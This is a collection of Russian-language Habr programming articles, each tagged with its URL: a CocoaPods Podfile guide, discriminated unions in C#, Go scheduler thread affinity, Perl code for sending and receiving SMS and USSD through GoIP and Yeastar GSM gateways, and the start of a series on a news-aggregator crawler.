Под катом информация, которая позволит начать освоение этого инструмента (основано на том, что изложено в документации и собственном опыте). И так, дорогой читатель, отложи в сторону микроскоп, хватит уже им гвозди заколачивать и продолжай читать.
#### Podfile
**Podfile** — это как раз и есть та волшебная спецификация, в которой обозначены все зависимости необходимые для нашего проекта. Podfile всегда создает неявную цель (target), названную по умолчанию, которая связывает с первой целью (target'ом) проекта. **Этот файл должен быть назван просто Podfile и лежать в одной папке с файлом .xcodepoj.**
**Для начала очень важно указать для какой платформы и какой ее версии ведется разработка.** Это делается вот таким образом:
```
platform :ios, '8.0'
```
В этом примере мы указываем, что разрабатываем приложение для iOS версии не ниже чем 8.0
Далее мы можем скрыть все предупреждения от xCode, котоыре касаются подключаемых библиотек:
```
inhibit_all_warnings!
```
##### Target проекта
Если вы хотите использовать подключаемые библиотеки для нескольких target'ов (например для тестов), то для этого можно использовать команду **link\_with**:
```
platform :ios, '6.0'
link_with 'MyApp', 'MyApp Tests'
pod 'AFNetworking', '~> 2.0'
pod 'Objection', '0.9'
```
В этом примере мы подключаем библиотеки не только для target'а нашего приложения, но и для тестов. Но **с этой командой нужно быть предельно осторожным**: эта команда подключает все библиотеки к двум target'ам, а иногда это может привести к ошибкам в работе, например не все привычные нам методы API будут работать для Application Extension (тех же виджетов — Today Extension).
Более надежный способ — вручную задать target'ы для которых будут подключаться те или иные библиотеки:
```
def shared_pods
pod 'AFNetworking'
pod 'INTULocationManager'
end
target 'myapp' do
shared_pods
pod 'Reachability', '~> 3.1.1'
pod 'sqlite3', '~> 3.8.4.3'
end
target 'mywidget' do
shared_pods
end
```
С помощью такого Podfile'а мы определили те библиотеки, которые будут у нас использоваться и для виджета и для приложения (shared\_pods). И обозначили какие именно надо подключать для какого target'а.
##### Версия библиотеки
Следующий момент тоже очень важен. Чаще всего мы кроме названия библиотеки дополнительно указываем номер версии, которую хотим использовать. Делаем это вот так:
```
pod 'WebViewJavascriptBridge', '~> 4.1.4'
```
Так мы это делаем как минимум потому, что подобные рекомендации нам как правило дают в ответе по запросу **pod search**. И с одной стороны это правильно, но сдругой стороны возможны нюансы.
**Небольшой пример.**Вы подключили некую библиотеку (с указанием версии как в примере выше) и активно ее используете, потом на некоторое время приостановили работу над проектом, а вернулись только спустя *n* времени. И возобновить работу вы решили с команды **pod update**, которая подтянет новые версии используемых библиотек. Запускаем проект и можем столкнуться с тем, что разработчик библиотеки добавил новые методы, а те что используете вы уже объявил как deprecated или удалил вовсе, или принял merge request от другого программиста проверив его не очень внимательно, а тот допустил критичную ошибку и теперь у нас все крашится.
Как избежать ненужных потерь нервных клеток? Иначе указать версию! Возможностей для этого много.
Таким образом мы указываем точно какая версия нам нужна:
```
'WebViewJavascriptBridge', '4.1.4'
```
Кроме этого мы можем использовать и логические операторы, которые пояснять подпробно нет необходимости: '> 4.1.4' или '>= 4.1.4' или '< 4.1.4' или '<= 4.1.4'.
Более подробно нужно рассказать об операторе '~>'. С помощью него мы можем указать версию, которая нам необходимо, но при этом получать нужные для нее bugfix'ы. Например вот так '~> 0.1.2' мы указываем, что хотим использовать версию библиотеки от 0.1.2 и до 0.2, **но не включая версию** 0.2. Или указав '~> 0.1' мы указываем, что планируем использовать все версии от 0.1 до 1.0, **но не включая версию** 1.0.
Кроме этого мы можем указать ресурс репозитория с которого будем загружать библиотеку:
```
pod 'CRToast', :git => 'https://github.com/akhatmullin/CRToast.git'
```
Но и на этом еще не все. Указав ресурс мы еще можем указать нужную нам ветку,
```
pod 'CRToast', :git => 'https://github.com/akhatmullin/CRToast.git', :branch => 'dev'
```
тег
```
pod 'CRToast', :git => 'https://github.com/akhatmullin/CRToast.git', :tag => '0.7.0'
```
или даже конкретный коммит
```
pod 'CRToast', :git => 'https://github.com/akhatmullin/CRToast.git', :commit => '082f8310af'
```
##### Автоматизируй максимум или post\_install
Иногда бывает так, что после установки той или иной библиотеки, нужно открыть тот или иной файл проекта, который был сгенерирован Cocoapods и добавить/убрать/изменить там какой-то параметр чтобы все работало корректно.
Первое что нам приходит в голову в такой ситуации: сделать все как надо и написать в wiki на gitlab'е. Вроде все окей. А! Еще обязательно написать об этом всей команде в Skype… и сделать рассылку в почте! И ссылку на вики обязательно приложу…
Сделано! А теперь все об этом забыли. Как быть? Использовать **post\_install**!
```
post_install do |add_app_extension_macro|
add_app_extension_macro.project.targets.each do |target|
if target.name.include?("Pods-widget")
target.build_configurations.each do |config|
config.build_settings['GCC_PREPROCESSOR_DEFINITIONS'] ||= ['$(inherited)', 'AF_APP_EXTENSIONS=1']
end
end
end
end
```
В примере выше мы после установки всех необходимых библиотек перебираем в цикле все target'ы проекта автоматически создаваемого cocoapods, находим среди них нужный, а затем перебираем настройки этого target'а и найдя нужную добавляем нужную в build settings. В конкретном примере мы для AFNetworking устанавливаем параметр позволяющий использовать эту библиотеку в Application Extensions. И больше никаких записок в wiki. Совсем! Well done! | https://habr.com/ru/post/261711/ | null | ru | null |
# Discriminated Unions в C#
Всем привет. Среди многих интересных концепций, имеющихся в F#, меня привлекли Discriminated Unions. Я задался вопросом, как их реализовать в C#, ведь в нем отсутствует поддержка (синтаксическая) типов объединений, и я решил найти способ их имитации.
Discriminated Unions - тип данных, представляющий собой размеченные объединения, каждый из которых может состоять из собственных типов данных (также именованных).
Идея в том, что мы имеем **ограниченное** количество вариантов выбора, и каждый вариант может состоять из **своего набора данных**, никак **не связанных** с другими, но все варинанты **объединены** общим подтипом.
Для создания своих Discriminated Unions будем использовать эту мысль
Реализация
----------
"Эталоном" будет реализация на F#
```
type Worker =
| Developer of KnownLanguages: string seq
| Manager of MaintainedProjectsCount: int
| Tester of UnitTestsPerHour: double
```
Теперь реализация на C#
```
public abstract record Worker
{
private Worker(){ }
public record Developer(IEnumerable KnownLanguages): Worker { }
public record Manager(int MaintainedProjectsCount) : Worker;
public record Tester(double UnitTestsPerHour) : Worker;
}
```
Данная реализация подходит, под описанные выше критерии:
1. Ограниченный набор вариантов - все варанты выбора - внутри другого класса с приватным конструктором.
2. Каждый вариант состоит из своего набора данных - каждый вариант это отдельный класс.
3. Объединенные общим названием/подтипом - все наследуют базовый абстрактный класс.
В данной реализации я использовал record, т.к. они позволяют написать меньше кода и по поведению очень похожи на Discriminated Unions.
Использование
-------------
Функция на F#, использующая наш тип:
```
let getWorkerInfo (worker: Worker) =
match worker with
| Developer knownLanguages ->
$"Known languages: %s{String.Join(',', knownLanguages)}"
| Manager maintainedProjectsCount ->
$"Currently maintained projects count %i{maintainedProjectsCount}"
| Tester unitTestsPerHour ->
$"My testing speed is %f{unitTestsPerHour} unit tests per hour"
```
На C# можно переписать таким образом:
```
string GetWorkerInfo(Worker worker)
{
return worker switch
{
Worker.Developer(var knownLanguages) =>
$"Known languages {string.Join(',', knownLanguages)}",
Worker.Manager(var maintainedProjectsCount) =>
$"Currently maintained projects count {maintainedProjectsCount}",
Worker.Tester(var unitTestsPerHour) =>
$"My testing speed is {unitTestsPerHour} unit tests per hour",
_ =>
throw new ArgumentOutOfRangeException(nameof(worker), worker, null)
};
}
```
Нам становятся доступны подсказки IDE (Rider все равно ругается из-за отсутствия условия по-умолчанию):
Сравнение реализаций
--------------------
| | | |
| --- | --- | --- |
| | C# | F# |
| Нахождение доступных вариантов | IDE (Варианты - классы-поля базового класса) | Теги (Enum) |
| Реализуемые интерфейсы | IEquatable | IEquatableIStructuralEquatable |
| Создание новых объектов | Конструктор | Статический метод (New\*) |
| Определение типа в райнтайме | Только рефлексия | Свойства для каждого варианта (Is\*) |
| Создаваемые свойства | Get/Set | Get-only |
| Генерируемые методы сравнения | ==, !=, Equals | Equals |
| Рекурсивное определение Discriminated Unions | Да, вариант выбора сделать абстрактным | Нет, определить другой DU выше и сделать вариантом выбора в текущем |
| Представление в IL | Базовый абстрактный класс с наследующими его варантами-реализациями |
| Хранение данных для каждого варианта | Свойства с backing field |
| Деконструкция полей | Есть |
Примечания:
* Методы Is\* для Discriminated Unions под капотом используют рефлексию.
Выводы
------
Мой вариант основанный на record`ах сильно похож на тот, что генерируется компилятором F# (В чем-то даже превосходит).
Вариантов реализации много: на обычных классах, на структурах, partial классы.
Также преимуществом классовой реализации является возможность определения общих полей - в Discriminated Unions общие только свойства Tag и Is\* для определения подтипа.
Если кому интересно как Discriminated Unions устроены более подробно, то существует [пост](https://habr.com/ru/post/470275/) на эту тему.
На этом у меня все. Если пропустил важные моменты, прошу поправить. | https://habr.com/ru/post/684104/ | null | ru | null |
# Go: конкурентность и привязки к потокам в планировщике
Переключение горутины с одного потока ОС на другой довольно затратно и может значительно замедлить работу приложения, если это происходит слишком часто. Однако со временем эту проблему решил планировщик Go путем обеспечения привязки горутин к потоку (scheduler affinity) в условиях конкурентной работы (concurrently). А чтобы нам лучше понять всю прелесть этой доработки, давайте вернемся назад в прошлое и посмотрим, как было до.
Первоначальная проблема
-----------------------
На ранних этапах существования языка Go (во времена версий 1.0 и 1.1) была проблема со снижением производительности при выполнении конкурентного кода с большим количеством потоков ОС, т.е. с высоким значением `GOMAXPROCS`. Посмотрим, как это выглядело, на примере вычисления простых чисел, используемого в документации:
[*https://play.golang.org/p/9U22NfrXeq*](https://play.golang.org/p/9U22NfrXeq)
А вот бенчмарк вычисления первых ста тысяч простых чисел на Go 1.0.3 с несколькими значениями `GOMAXPROCS`:
```
name time/op
Sieve 19.2s ± 0%
Sieve-2 19.3s ± 0%
Sieve-4 20.4s ± 0%
Sieve-8 20.4s ± 0%
```
Чтобы проанализировать эти результаты, нам нужно понять, что было заложено в планировщик при разработке. В первой версии Go планировщик имел только одну глобальную очередь, в которой каждый из потоков мог отправлять и брать оттуда горутины. Вот пример приложения, работающего с максимум двумя потоками ОС (`GOMAXPROCS` присвоено значение два) M на схеме ниже:
Первая версия планировщика имела только одну глобальную очередь.Наличие только одной очереди не гарантирует, что горутина продолжит работу в том же потоке. Первый же свободный поток подберет ожидающую горутину и запустит ее. Следовательно, отсюда вытекает жонглирование горутин между потоками, и это дорого, если рассматривать это с точки зрения производительности. Вот пример с блокирующим каналом:
* Горутина #7 блокируется на канале и ожидает сообщения. Как только сообщение получено, горутина становится в глобальную очередь:
* Затем канал отправляет сообщения, и горутина #X запускается в свободном потоке, в то время как горутина #8 блокируется на канале:
* Горутина #7 теперь запущена в свободном потоке:
Теперь горутины работают в разных потоках. Наличие единой глобальной очереди также заставляет планировщик иметь единый глобальный мьютекс, который охватывает все операции планирования горутин. Вот, как выглядит профиль процессора, полученный с помощью `pprof` с `GOMAXPROCS`, установленным на максимум:
```
Total: 8679 samples
3700 42.6% 42.6% 3700 42.6% runtime.procyield
1055 12.2% 54.8% 1055 12.2% runtime.xchg
753 8.7% 63.5% 1590 18.3% runtime.chanrecv
677 7.8% 71.3% 677 7.8% dequeue
438 5.0% 76.3% 438 5.0% runtime.futex
367 4.2% 80.5% 5924 68.3% main.filter
234 2.7% 83.2% 5005 57.7% runtime.lock
230 2.7% 85.9% 3933 45.3% runtime.chansend
214 2.5% 88.4% 214 2.5% runtime.osyield
150 1.7% 90.1% 150 1.7% runtime.cas
```
`procyield`, `xchg`, `futex` и `lock` связаны с глобальным мьютексом планировщика Go. Мы отчетливо видим, что приложение большую часть времени находится в блокировке.
Эти проблемы не позволяют Go использовать все преимущества процессоров. Решением же этих проблем стало создание нового планировщика в Go 1.1.
Привязка к потоку в условиях конкурентной работы
------------------------------------------------
В Go 1.1 был [реализован новый планировщик](https://docs.google.com/document/d/1TTj4T2JO42uD5ID9e89oa0sLKhJYD0Y_kqxDv3I3XMw/edit?pli=1) и созданы локальные очереди горутин. Это улучшение, при условии наличия локальных горутин, позволило не допускать блокировки всего планировщика и дало возможность работать в одном потоке ОС.
Поскольку потоки могут блокироваться при системных вызовах, а количество заблокированных потоков не ограничено, Go привнес концепцию процессоров. Процессор P представляет собой работающий поток ОС, который управляет локальными очередями горутин. Вот, как теперь выглядит новая схема:
Новый бенчмарк с новым планировщиком Go 1.1.2:
```
name time/op
Sieve 18.7s ± 0%
Sieve-2 8.26s ± 0%
Sieve-4 3.30s ± 0%
Sieve-8 2.64s ± 0%
```
Go теперь действительно использует все доступные ядра процессора. Профиль процессора также изменился:
```
Total: 630 samples
163 25.9% 25.9% 163 25.9% runtime.xchg
113 17.9% 43.8% 610 96.8% main.filter
93 14.8% 58.6% 265 42.1% runtime.chanrecv
87 13.8% 72.4% 206 32.7% runtime.chansend
72 11.4% 83.8% 72 11.4% dequeue
19 3.0% 86.8% 19 3.0% runtime.memcopy64
17 2.7% 89.5% 225 35.7% runtime.chansend1
16 2.5% 92.1% 280 44.4% runtime.chanrecv2
12 1.9% 94.0% 141 22.4% runtime.lock
9 1.4% 95.4% 98 15.6% runqput
```
Как мы видим, большинство операций, связанных с блокировкой, пропали, а операции, отмеченные как `chanXXXX`, относятся только к каналам. Однако, не смотря на то, что планировщик улучшил привязку между горутиной и потоком, в некоторых случаях привязку можно уменьшить.
Ограничение привязки
--------------------
Для того, чтобы понять какие есть ограничения привязки, мы должны иметь представление о том, что именно распределяется в локальные и глобальные очереди. Локальная очередь будет использоваться для всех операций, таких как операции блокирования каналов и вызовы select, обслуживание таймеров и блокировок, за исключением системных вызовов. Однако есть две функции, которые могут ограничить привязку между горутиной и потоком:
* Кража горутин (work-stealing). Когда процессору `P` недостает работы в своей локальной очереди, он будет красть горутины у других `P`, если глобальная очередь и сетевой поллер (network poller) пусты. После чего, горутины будут работать в другом потоке.
* Системные вызовы. Когда системный вызов происходит (например файловые операции, http-вызовы, операции с базами данных и т.д.), Go перемещает запущенный поток ОС в режим блокировки, позволяя новому потоку обработать локальную очередь на текущем `P`.
Однако, улучшив управление приоритетностью локальной очереди, этих двух ограничений можно было бы избежать. Go 1.5 старается отдать больший приоритет горутине, которая передает данные туда-сюда по каналу, и, таким образом, оптимизирует привязку к выбранному потоку.
Упорядочивание для улучшения привязки
-------------------------------------
Как вы могли заметить ранее, горутина, передающая данные туда-сюда по каналу, является причиной частых блокировок, то есть часто происходит повторное добавление в локальную очередь. Однако, поскольку локальная очередь имеет реализацию FIFO, нет гарантии, что незаблокированные горутины будут запущены как можно скорее, если поток будет занят другой горутиной. Вот пример с горутиной, которая запускается после того, как ранее была заблокирована на каналах:
Горутина #9 возобновляет работу после блокировки на канале. Однако перед запуском ей придется подождать выполнения горутин #2, #5, и #4. В этом примере горутина #5 перехватывает поток, задерживая выполнение горутины #9 и появляется риск кражи этой горутины другим процессором. Начиная с Go 1.5, благодаря специальному свойству `P`, горутины, возвращающиеся из блокирующего канала, теперь будут выполняться в первую очередь:
Горутина #9 теперь помечена как следующая на выполнение. Эта новая система приоритетности позволяет горутине выполнить работу, прежде чем она снова будет заблокирована на канале. Потом у других горутин будет время для выполнения их работы. Это изменение в целом положительно повлияло на стандартную библиотеку Go, [улучшив производительность некоторых пакетов](https://github.com/golang/go/commit/e870f06c3f49ed63960a2575e330c2c75fc54a34).
---
> **Материал подготовлен в рамках курса** [**«Golang Developer. Professional».**](https://otus.pw/kmOF/)
>
> | https://habr.com/ru/post/589851/ | null | ru | null |
# Отправка и приём SMS сообщений с помощью VoIP шлюзов GoIP и Yeastar
Так как мы занимаемся продажами VoIP оборудования, к нам часто обращаются с различными техническими вопросами. Иногда доходит до того, что клиенты просят примеры кода на конкретных языках программирования. Работа с SMS и интеграция их в бизнес процессы — как раз один из таких регулярных вопросов, поэтому и хочется остановится на нём и рассмотреть более подробно.
Почему GoIP и Yeastar
---------------------
В действительности, я бы хотел рассказать еще и про OpenVox, но на хабре уже есть статья именно про их шлюзы, да и в наличии на момент написания этого материала их не было. Так же подобные шлюзы делает Dinstar, но обращений по этим шлюзам у нас так катастрофически мало, так что их я решил тоже не рассматривать.
GoIP
----
GSM шлюзы GoIP производятся в Китае под брендами нескольких компаний и относятся к низшей ценовой категории, отчасти поэтому они самые популярные. Всё нижеописанное мною применительно к [GoIP 4](https://arttel.ru/shop/gsm-shlyuzy/gsm-shlyuz-goip-4) фирмы DBL, в теории оно же должно работать и на шлюзах Hybertone, но ручаться за это не буду, так как возможны отличия в прошивках.
### ▪ Web интерфейс
Самый простой способ отправить SMS — это зайти на страничку шлюза, выбрать раздел Send SMS, указать линию, с которой необходимо отправить сообщение, номер получателя и непосредственно текст сообщения. Вариант простой, но годится разве что для теста, не более того. Однако есть возможность отправлять смски с помощью GET и POST запросов.
#### → GET
Для типа GET используем запрос вида:
`http://192.168.1.190/default/en_US/send.html?u=admin&p=admin&l=1&n=89991234567&m=test`
```
u=admin – имя пользователя
p=admin – пароль
l=1 – канал, с которого надо отправить сообщение
n=89991234567 – номер получателя (надо указывать начиная с «8», при использовании «+7» или «7» получим ошибку)
m=test – текст сообщения
```
Если что то пошло не так, то в ответ мы получим сообщение вида: `«ERROR, описание проблемы»`, в противном случае: `«Sending, L1 Send SMS to 89991234567; ID:55c489da»`. Думаю, тут все и так ясно: статус, номер линии, номер получателя, и присвоенный индификатор, чтобы впоследствии можно было отследить статус отправления.
#### → POST
Отправка с помощью POST запроса — это тоже самое, что отправка через форму в web интерфейсе, отличается тем, что мы сами должны указывать индификатор SMS, в определенных случаях это может быть удобнее. Так же через POST мы можем отправить USSD запрос, что тоже может быть полезно.
Простой пример на *perl* с использованием фреймворка *Mojolicious*:
```
#!/usr/bin/perl -w
use utf8;
use Mojo::UserAgent;
my $ua = Mojo::UserAgent->new;
$ua->post('http://admin:admin@192.168.1.190/default/en_US/sms_info.html?type=sms'
=> {Accept => '*/*'}
=> form => {
line => '1',
smskey => '57867a25',
action => 'SMS',
telnum => '89991234567',
smscontent => 'Привет!',
send => 'Send'
});
```
Для отправки USSD придется немного изменить запрос:
```
$ua->post('http://admin:admin@192.168.1.190/default/en_US/sms_info.html?type=ussd'
=> {Accept => '*/*'}
=> form => {
line1 => '1',
smskey => '57876006',
action => 'USSD',
telnum => '*100#',
send => 'Send'
});
```
Для получения результата придется делать отдельный GET запрос статуса сообщений.
#### → Статус сообщений
Отслеживать статусы необходимо хотя бы потому, что мы можем попытаться отправить сообщение в момент, когда линия занята отправкой другого сообщения и, как результат, ничего не выйдет. Плюс к этому, разработчики GoIP не стали заморачиваться с созданием отдельного средства получения результатов USSD запросов, а просто пишут их в виде расшифровок ошибок.
Статусы отправлений можно отслеживать по адресу:
`http://192.168.1.190/default/en_US/send_status.xml?u=admin&p=admin`
В ответ мы получим XML, в которой отображается статус одного последнего отправления на канал, у меня под рукой был GoIP 4, а у него единая прошивка с восьмым, поэтому в статусах 8 каналов, хотя физически их было 4:
```
xml version="1.0" encoding="utf-8"?
57867a25
DONE
57867277
ERRORDONE
send, but provider not reply.
57876006
DONE
Ваш баланс: 57.2 р.
DONE
```
### ▪ Протокол SMPP
SMPP (Short message peer-to-peer protocol) – специальный протокол, используемый для передачи SMS и USSD сообщений между клиентом и сервером. Это, наверное, единственный «нормальный» способ получать сообщения. Да, в web интерфейсе отображаются последние пять сообщений для каждого канала, но вариант периодически лезть на него и проверять, не появилось ли что то новое, я не могу отнести к адекватным.
Хотя и с SMPP все не так гладко. Во первых, сообщения приходят в кодировке `UTF-16BE`. Сначала мне об этом информация нигде не попадалась и пришлось изрядно попрыгать с бубном, чтобы понять, в какой же кодировке принимаются смски. Правда после этого нашёлся параметр (`data_coding`), который как раз и указывает на то, как закодировано сообщение.
Во вторых, в качестве `destination_addr` всегда будет `system_id`, с которым мы подключаемся к GoIP-у, т. е. нет возможности понять, на какую именно симку пришло сообщение. Это можно обойти – необходимо подключаться с `system_id + 0 + номер канала`, тогда мы будем получать сообщения только для заданного канала, естественно минус такого решения в том, что необходимо держать несколько коннектов.
Простейший пример получения сообщений с использованием библиотеки `Net::SMPP`:
```
#!/usr/bin/perl -w
use utf8;
use strict;
use Net::SMPP;
use Encode;
use feature 'say';
my $smpp = Net::SMPP->new_transceiver('192.168.1.190',
system_id => 'arttel', # Если хотим слушать только первый канал то – arttel01, второй – arttel02 и т.д.
password => 'arttel',
port => '7777',
smpp_version=> 0x34
) or die "Can't connect to SMSC: $!";
while (1) {
my $pdu = $smpp->read_pdu();
# Меняем кодировку на системную
my $short_message = Encode::decode("UTF-16BE", $pdu->{short_message});
say $short_message;
}
```
С отправкой такая же история, если необходимо отправить SMS с конкретной SIM карты, то подключаемся с id нужного канала:
```
#!/usr/bin/perl -w
use utf8;
use strict;
use Net::SMPP;
my $smpp = Net::SMPP->new_transceiver('192.168.4.107',
system_id => 'arttel01',
password => 'arttel',
port => '7777',
smpp_version=> 0x34
) or die "Can't connect to SMSC: $!";
&send_message('89991234567', 'Привет!!!');
sub send_message {
my ($sm_dest_addr, $sm_message) = @_;
my $result = eval {
my $pru = $smpp->submit_sm(
source_addr_ton => 0x05, # Тип номера отправителя
source_addr_npi => 0x01, # Идентификатор плана нумерации отправителя
source_addr => '',
dest_addr_ton => 0x01, # Тип номера получателя
dest_addr_npi => 0x01, # Идентификатор плана нумерации получателя
destination_addr => $sm_dest_addr,
data_coding => 0x01, # Определяет схему кодировки пользовательских данных короткого сообщения
short_message => $sm_message
) or return 1;
return 0;
};
if ($result == 1){
print "Can't send message: $!";
}
}
#Разрываем соединение с SMSC
$smpp->unbind();
```
**Описание параметров отправки**
| Параметр | Описание | Значения |
| --- | --- | --- |
| source\_addr\_ton | Тип номера отправителя | 0x00 — Неизвестный (Unknown)
0x01 — Международный (International)
0x02 — Государственный (National)
0x03 — Сетевой Специальный (Network Specific)
0x04 — Номер Абонента (Subscriber Number)
0x05 — Алфавитно-цифровой (Alphanumeric)
0x06 — Сокращенный (Abbreviated) |
| source\_addr\_npi | Идентификатор плана нумерации отправителя | 0x00 — Unknown 0x01 — ISDN (E163/E164)
0x02 — Data (X.121)
0x03 — Telex (F.69)
0x04 — Land Mobile (E.212)
0x05 — National
0x06 — Private
0x07 — ERMES
0x08 — Internet (IP)
0x09 — WAP Client Id (его должен определять WAP Forum) |
| dest\_addr\_ton | Тип номера получателя | 0x01 — Международный (International) |
| dest\_addr\_npi | Идентификатор плана нумерации получателя | 0x01 — ISDN (E163/E164) (для номеров)
0x02 — National (для остального) |
| data\_coding | Определяет схему кодировки пользовательских данных короткого сообщения | 0x01 — IA5(CCITT T.50)/ASCII (ANSI X3.4) латинский алфавит 7 бит на 1 символ максимальная длина одного сообщения 160 символов
0x07 — Latin/Hebrew(ISO-8859-8) латинский алфавит 8 бит на 1 символ максимальная длина сообщения 140 символов
0x08 — UCS2(ISO/IEC-10646) для национальных алфавитов (например, русского) максимальная длина сообщения 70 символов |
Yeastar
-------
Родина Yeastar, так же как и у GoIP – Китай, хотя, как мне кажется, в Yeastar стараются делать устройства с большей претензией на качество и удобство использования, чем их конкуренты. Это касается как физического, так и программного исполнения. Но и у них бывают огрехи. Так, например, документация не всегда поспевает за изменениями в новых прошивках, а в отдельных случаях в ней могут отсутствовать важные моменты.
### ▪ Web интерфейс
Отправлять и принимать сообщения можно через web интерфейс, в общем то, это стандартный способ для подобных железок. В шлюзах Yeastar этот интерфейс чем то отдаленно напоминает простенькие почтовые web морды — «папочки» `Inbox` и `Outbox` с незатейливыми фильтрами и поиском. В любом случае, это на голову выше чем то, что есть в GoIP, а главное хранятся не последние пять входящих сообщений для каждого канала, а значительно больше. Только, к сожалению, не понятно сколько, опять же в `datasheet` про это нет ни слова.
#### → GET
Так же как и в большинстве подобных железок, отправить сообщение можно с помощью GET запроса, что в общем не удивительно, это один из самых простых способов интеграции. Естественно, у Yeastar своя реализация со своими особенностями.
Для начала надо включить возможность отправлять SMS сообщения и USSD запросы. Для этого необходимо активировать «API Settings», если вы предпочитаете интерфейс на русском языке, то данный раздел будет называться «Настройки AMI» (правда очень логично?). Во вторых, необходимо поменять пароль по умолчанию, пока этого не сделаешь, авторизация не проходит, об этом опять же ни слова в документации.
После этих манипуляций мы можем использовать запросы для SMS и USSD соответственно:
`http://192.168.5.150/cgi/WebCGI?1500101=account=arttel&password=arttel&port=1&destination=89991234567&content=test`
```
Response: Success
Message: Commit successfully!
```
`http://192.168.5.150/cgi/WebCGI?1500102=account=arttel&password=arttel&port=1&content=%2A100%23`
```
Request: 1,*100#
Response: Success
Message: Ваш баланс:
36.3 р.
```
Коротко о параметрах:
```
account=arttel – имя пользователя что мы указали в настройках API Settings
password=arttel – пароль из API Settings
port=1 – канал, с которого будет осуществлена отправка
destination=89991234567 – номер получателя, используется только при отправке SMS
content=test – текст сообщения или USSD запроса
```
Главное отличие от GoIP: при отправке SMS с Yeastar нет необходимости контролировать занят канал или нет, наше сообщение ставится в очередь и как только канал освобождается оно будет отправлено. А с USSD запросами работа происходит синхронно, т. е. ответ мы получаем сразу и нет необходимости его где то потом искать. Минус только в том, что ответы нам приходят в виде plain text, а хотелось бы что то более подходящее: JSON или XML.
### ▪ Asterisk Managment Interface
Вся линейка шлюзов Yeastar построена вокруг Asterisk (программный сервер IP-телефонии от компании Digium), поэтому поддержка такого специфического протокола как SMPP отсутствует. Зато есть родной для Asterisk'a протокол AMI, работать с которым достаточно просто.
Для начала посмотрим как принимать сообщения:
```
#!/usr/bin/perl -w
use utf8;
use strict;
use warnings;
use AnyEvent::Impl::Perl;
use Asterisk::AMI;
use Data::Dumper;
use URI::Escape;
use feature 'say';
# Подключаемся к AMI
my $astman = Asterisk::AMI->new(
PeerAddr => '192.168.5.150', # Адрес шлюза
Username => 'arttel', # Имя пользователя из API Settings
Secret => 'arttel', # Пароль из API Settings
Events => 'on',
Handlers => {
ReceivedSMS => \&received_sms # Подписываемся на приём сообщений
},
Keepalive => 60,
on_error => sub { print "Error occured on socket\r\n"; exit; },
on_timeout => sub { print "Connection to asterisk timed out\r\n"; exit; }
);
die "Unable to connect to asterisk" unless ($astman);
sub received_sms {
my ($asterisk, $event) = @_;
say Dumper($event);
# Приводим сообщение к читаемому виду
say uri_unescape($event->{'Content'}) if ($event->{'Content'});
return 1;
}
AnyEvent::Impl::Perl::loop;
=result
$VAR1 = {
'Total' => '1',
'Recvtime' => '2016-07-15 17:49:55',
'ID' => '',
'Event' => 'ReceivedSMS',
'Privilege' => 'all,smscommand',
'Index' => '1',
'GsmSpan' => '4',
'Sender' => '+79991234567',
'Smsc' => '+79997456321',
'--END SMS EVENT--' => undef,
'Content' => '%EF%BB%BF%D0%9A%D1%83-%D0%BA%D1%83'
};
Ку-ку
=end
```
Пример достаточно прост и мне кажется, что всё должно быть понятно. Единственное, на что хочу обратить внимание это `«GsmSpan»`. Мы все привыкли, что индексация массивов начинается с 0, здесь же не 0 и не 1, а 2, последовательный номер канала отображается как `номер + 1`, поэтому минимальное значение `GsmSpan` это 2.
Так же через AMI мы может отправлять SMS и USSD запросы:
```
#!/usr/bin/perl -w
use strict;
use warnings;
use Asterisk::AMI;
use Data::Dumper;
use URI::Escape;
use Encode;
use feature 'say';
# Connect to asterisk
my $astman = Asterisk::AMI->new(
PeerAddr => '192.168.5.150',
Username => 'arttel',
Secret => 'arttel',
Timeout => 30, # Таймаут на выполнение команд, если используем USSD то ставим побольше
Keepalive => 60,
on_error => sub { print "Error occured on socket\r\n"; exit; },
on_timeout => sub { print "Connection to asterisk timed out\r\n"; exit; }
);
die "Unable to connect to asterisk" unless ($astman);
# Отправляем USSD запрос
my %action = (
Action => 'smscommand',
Command => 'gsm send ussd 2 "*100#"'
);
my $actionid = $astman->send_action(\%action);
my $response = $astman->get_response($actionid);
my @cmd = @{$response->{CMD}};
my $i = 0;
while ($i <= $#cmd) {
if ($cmd[$i] =~ /USSD Message: (.+)/) {
# Ответ будет закодирован, поэтому потребуется не много магии
my $decodedHex = pack('H*', $1);
say decode("UCS-2BE", $decodedHex);
}
$i++;
}
# Отправляем SMS
%action = (
Action => 'smscommand',
Command => 'gsm send sms 2 89991234567 "Привет" 11111'
);
$actionid = $astman->send_action(\%action);
$response = $astman->get_response($actionid);
```
По USSD думаю всё понятно, только не забываем, что каналы нумеруются с двойки. А по SMS есть небольшое уточнение: если нам судьба сообщения безразлична и статус отслеживать не надо, то после текста сообщения можно ничего не указывать. В противном случае, необходимо указать уникальный индификатор. Тогда, когда судьба смски станет известна, система отправит нам сообщение о её состоянии. Что-то такого вида:
```
$VAR1 = {
'ID' => '11111',
'Event' => 'UpdateSMSSend',
'--END SMS EVENT--' => undef,
'Status' => '1',
'Privilege' => 'all,smscommand',
'Smsc' => '+79991234567'
};
```
Status = 1 говорит нам о том, что сообщение успешно доставлено, а в случае ошибки статус будет равен 0. Получать подобные сообщения можно, подписавшись на события `UpdateSMSSend`, делается это точно так же, как и при приеме SMS.
В качестве заключения
---------------------
Лично мне было бы удобнее работать со шлюзом [Yeastar TG400](https://arttel.ru/shop/gsm-shlyuzy/gsm-shlyuz-yeastar-neogate-tg400) через AMI. С другой стороны, я не вижу каких-то больших проблем и в случае использования GoIP. О чем я сознательно умолчал: у каждого из производителя есть бесплатный программный SMS сервер, в случае GoIP чтобы его использовать потребуется PHP, Apache и MySQL, а в случае Yeastar – Windows. Подобные продукты больше подходят для рассылки одинаковых сообщений по заранее подготовленным базам номеров, а не интеграции с какими-то приложениями. Это и есть причина, по которой я их пропустил. Если кому-то интересно, на сайтах производителей должны быть соответствующие описания. | https://habr.com/ru/post/395947/ | null | ru | null |
# В разрезе: новостной агрегатор на Android с бэкендом. Библиотека обхода интернет-сайтов на Java (crawler4j)
[Вводная часть (со ссылками на все статьи)](https://habrahabr.ru/post/334510/)
Неотъемлемой частью системы сбора новостей является робот для обхода сайтов (crawler, круалер, «паук»). В его функции входит отслеживание изменений на указанных сайтах и внесение новых данных в базу данных (БД) системы.
Полностью готового и подходящего решения не было – в связи с этим потребовалось выбрать из имеющихся проектов что-то, что удовлетворяло бы следующим критериям:
* простота настройки;
* возможность настройки для обхода нескольких сайтов;
* нетребовательность к ресурсам;
